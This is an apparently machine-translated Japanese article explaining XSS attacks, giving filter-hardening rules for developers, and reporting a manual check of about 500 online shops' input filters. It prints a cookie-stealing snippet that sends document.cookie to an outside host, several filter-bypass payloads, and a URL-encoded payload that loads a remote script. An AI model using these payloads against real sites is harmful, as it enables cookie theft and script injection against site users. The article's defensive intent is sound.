xssの脆弱性

XSS JavaScript攻撃からの脅威



始める前に、この資料は情報提供のみを目的としていることに言及する価値があります。
今日、最も一般的な攻撃の1つは、javascriptを使用したクロスサイトスクリプティングです。 この記事では、javascriptの違法な使用に起因する問題、xss攻撃の可能性を防ぐためのセキュリティルール、および組織的なWebサイトセキュリティに関するサイトのチェックに関連する独自の調査を行います。



XSS攻撃とは何ですか?



これは、悪意のあるコードをWebシステムに注入し、変更されたデータの生成、リンクの置換(表示/非表示)、または影響を受けるリソースでの独自の広告の表示を強制するタイプの攻撃です。



攻撃には2つの領域があります。



パッシブ -攻撃対象者による直接介入が必要です。 一番下の行は、被害者が悪意のあるリンクをたどって「悪意のあるコード」を実行するように強制することです。 このタイプの攻撃は、技術的な知識だけでなく心理的な知識も必要なため、実装がより困難です。



アクティブ -これは、ハッカーがサイトフィルターの脆弱性を見つけようとする攻撃の一種です。 このような攻撃はどのように実装されますか? すべてが非常に簡単です。 タグとシンボルの組み合わせを使用して、サイトがそれを理解してコマンドを実行するようなリクエストを作成する必要があります。 セキュリティホールが見つかったらすぐに、リクエストに「有害なコード」を入れることができます。これにより、たとえばCookieを盗み、便利な場所に送信できます。 以下は、サイトからCookieを盗むスクリプトの例です。



Img = new image() Img.src = http://site.gif?+document.cookie;
      
      





通常、ほとんどのフィルターは非常に安定しているため、サイトのセキュリティの穴を見つけるために一生懸命働く必要があります。 しかし、人々はそれらを書き、間違いを犯しがちです。



安全ルール



悲惨な結果につながるような脆弱性はどこで、なぜ発生しますか? それはすべて、人々の注意と知識についてです。 開発者は正しいコードを記述する必要があるため、このセクションでは、サイトを記述するための最小限のセキュリティルールについて説明します。



攻撃がどのように適用されるかは、すでに述べましたが、もう一度繰り返します。 xss攻撃のポイントは、それを回避する目的でフィルターの穴を検出することです。



1.開発者にとって最初の基本的なルールの1つは、任意の(少なくとも最小限の)フィルターの使用です。



サイトの調査では、ほとんどすべてのサイトが保護されていましたが、それでも受信データのフィルタリングを使用していないサイトがありました。 これは主にPHPで書かれたサイトで見られます。 しかし、たとえば、フラスコやDjangoなどのPythonフレームワークには、組み込みの最小フィルターが既にあり、強化することしかできません。



2.文字とネストされた構造のフィルタリング。



最小限のフィルターでアマチュア攻撃や文盲の専門家から保護されますが、深刻なハッカーからはより詳細なデータフィルタリングでより深刻な保護を構築する必要があります。 開発者は、xss攻撃の可能な実装を考慮して理解し、ネストされた構造を認識するようにフィルターを構築する必要があります。 たとえば、ハッカーはマルチレベル構造を作成し、それらの最下位に悪意のあるJavaScriptコードを埋め込むことができます。 フィルターは上位レベルをブロックしますが、下位レベルは実行されます。



3.フィルタは、可能なすべての文字の組み合わせを考慮する必要があります。



私たちのお気に入りのxss脆弱性テストの1つは、オープンブラケットとクローズブラケットの使用です。

例: “/?,#”>>>><<script{()}







n番目の角かっこでコマンドを記述します。 フィルタはこれを確認して閉じようとしますが、ネストされたコードが実行されます。 このリクエストでは、異なる数の括弧のフィルターをチェックするだけでなく、フィルターが異なる文字にどのように応答するか、それらをブロックするかスキップするかを確認します。 例の最後にあるデザインに注意を向けます。 括弧内の引数としてスクリプトを渡します。 フィルターをテストする興味深い方法。 私たちの調査では、多くのサイトがこのタイプの攻撃をフィルタリングせず、脅威にさらされました。



4.タグの使用。



文字と階層構造の両方をフィルタリングするとします。 ただし、img、bb、urlタグに関連付けられた別の脆弱性があります。 これらのタグには、javacsriptを含むdynsrcおよびlowsrcを含む多くのパラメーターがあります。 これらのタグは必ずフィルタリングする必要があります。 サイトで写真を使用しない場合は、完全にオフにすることをお勧めします。



使用例:



 [img]http://blabla.ru/1.jpg/dynsrc=javascript:alert()[/img]
      
      





残念ながら、タグの単純なフィルタリングでは不十分であり、攻撃者がタグ内に追加の文字を配置する可能性を考慮する必要がありますが、これもフィルタリングする必要があります。



例:



 [img]»»>«script>http://blabla.ru/1.jpg/dynsrc=javascript:alert()[/img]
      
      





5.暗号化。



フィルターを作成するときは、まずエンコード攻撃の可能性を考慮する必要があります。 フィルターを認識できないように攻撃を暗号化するエンコーダープログラムは非常に多数あります。 したがって、プログラムが要求コードを実行する前に、フィルターで復号化アルゴリズムを使用する必要があります。



暗号化されたコードの例を次に示します。



 %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%66%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74%2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
      
      





暗号化はフィルターをバイパスするためだけでなく、ソーシャルエンジニアリングのためにも必要です。 暗号化されたコードをリンクとして送信できます。 誰かがそれをチェックすることはまずありません。これから別のポイントが続きます。



6.ソーシャルエンジニアリング



攻撃に強いフィルターを作成するだけでは不十分です。定期的に従業員とインターネットの使用ルールについて講義し、ハッカーの可能性のあるトリックについて話す必要があります。



いくつかの基本的なルール:特にホスティングまたはネットワーク管理者である場合は、疑わしいリンクを開いたり、暗号化されたリンクをチェックしたりしないでください。



JavaScriptを使用したxss脆弱性に関するサイトの調査。



開発者はWebアプリケーションのセキュリティについてどの程度深刻ですか? 私たちのチームはそれをチェックアウトすることにしました。 調査の一環として、約500のサイトのセキュリティエラーを調査しました。 情報の収集、処理、構造化に多くの時間が費やされました。 適切なツールが見つからず、独自のソフトウェアを作成するのに十分な時間と知識がなかったため、すべてのチェックは手動で実行されました。 しかし、すでに経験を積んでいるので、次回はそれを行います。



調査の対象はオンラインストアサイトでした。 そのようなサイトに関するフィードバックの可能性があるため、それらを選択しました。 それを通じて、ソーシャルエンジニアリングの方法を使用して、悪意のあるコードとのリンクをサイトオペレーターに埋め込み、個人データの漏洩だけでなく、サイトのシェルの変更、javascript要素を介した独自の広告の違法導入、悪意のあるコードへの実際のリンクの置き換えを侵害することができます。



フィルターのチェックにのみ従事していたことは言及する価値がありますが、これはロシア連邦の法律(刑法の272-274)に違反するものではなく、罰則もありません。



調査の結果、非常に優れた統計が得られました。 非常に少数のサイト、約5%にはフィルターがありません。これは基本的に不正確に構築されたシステムです。 しかし実際には、これらのサイトはすべて学生によって開発されたことが判明しました。 デフォルトでは、フィルターのないサイトは自動的にハッキングされます 禁じられている文字をエスケープせず、javascriptを介して悪意のあるコードで埋めることができます。 他のサイトにはフィルターがありますが、その信頼性はどうですか?



約11%が、この分野の平均的な知識のみで移動することができました。 これは開発者側の大きな欠陥であり、ユーザーの個人データが影響を受けるため、プロジェクトに多大な損害をもたらす可能性があります。 法律(行政犯罪法のパート13.11、パート6)に従い、すべてのサイトは、有形のメディアを保存する際に個人データの安全を確保し、それらへの不正アクセスを排除する必要があります。 これが個人データへの不正アクセス(破壊、変更、コピー、ブロックなど)を伴う場合、700ルーブルから50,000ルーブルの罰金が科せられます。



ほとんどのサイトは攻撃から十分に保護されていますが、ユーザーとして私たちを喜ばせてください。 この調査の結果は、下の図に明確に示されています。



おわりに



この記事の一部として、javascriptを使用したxssの脆弱性について説明し、サイトの強度と安定性に関する実際の調査も実施しました。 セキュリティ評価の結果、ほとんどのサイト、つまり84%がこのタイプの攻撃から十分に保護されていることが明らかになりました。 しかし、それでも自信を刺激せず、攻撃に耐えられないサイトの一定の割合があります。 これは重大なバグであり、修正する必要があります。 残念ながら、すべてのウェブサイトの所有者がウェブサイトのセキュリティの改善に投資する気があるわけではありません。 しかし、毎年、個人データの開示、漏洩、損害に関する法律の厳しさが厳しくなり、不正な所有者はリソースのセキュリティをよりよく監視する必要に迫られています。 行政犯罪法第13条11項の違反に対する罰金の規模は拡大しており、それに伴い私たちの個人データのセキュリティも拡大しています。



All Articles